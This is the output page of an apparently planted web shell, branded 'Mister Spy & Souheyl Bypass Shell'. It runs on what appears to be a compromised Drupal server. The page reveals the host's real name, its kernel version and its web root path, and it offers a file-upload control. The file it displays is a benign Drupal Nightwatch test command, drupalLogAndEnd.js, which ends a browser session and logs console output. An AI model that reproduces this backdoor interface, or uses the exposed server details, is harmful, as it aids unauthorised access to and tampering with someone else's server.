Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/web/core/tests/Drupal/Nightwatch/Commands/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/web/core/tests/Drupal/Nightwatch/Commands/drupalLogAndEnd.js

/**
 * Ends the browser session and logs the console log if there were any errors.
 * See globals.js.
 *
 * @param {Object}
 *   (optional) Settings object
 *   @param onlyOnError
 *     (optional) Only writes out the console log file if the test failed.
 * @param {function} callback
 *   A callback which will be called.
 * @return {object}
 *   The 'browser' object.
 */
exports.command = function drupalLogAndEnd({ onlyOnError = true }, callback) {
  const self = this;
  this.drupalLogConsole = true;
  this.drupalLogConsoleOnlyOnError = onlyOnError;

  // Nightwatch doesn't like it when no actions are added in a command file.
  // https://github.com/nightwatchjs/nightwatch/issues/1792
  this.pause(1);

  if (typeof callback === 'function') {
    callback.call(self);
  }
  return this;
};

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net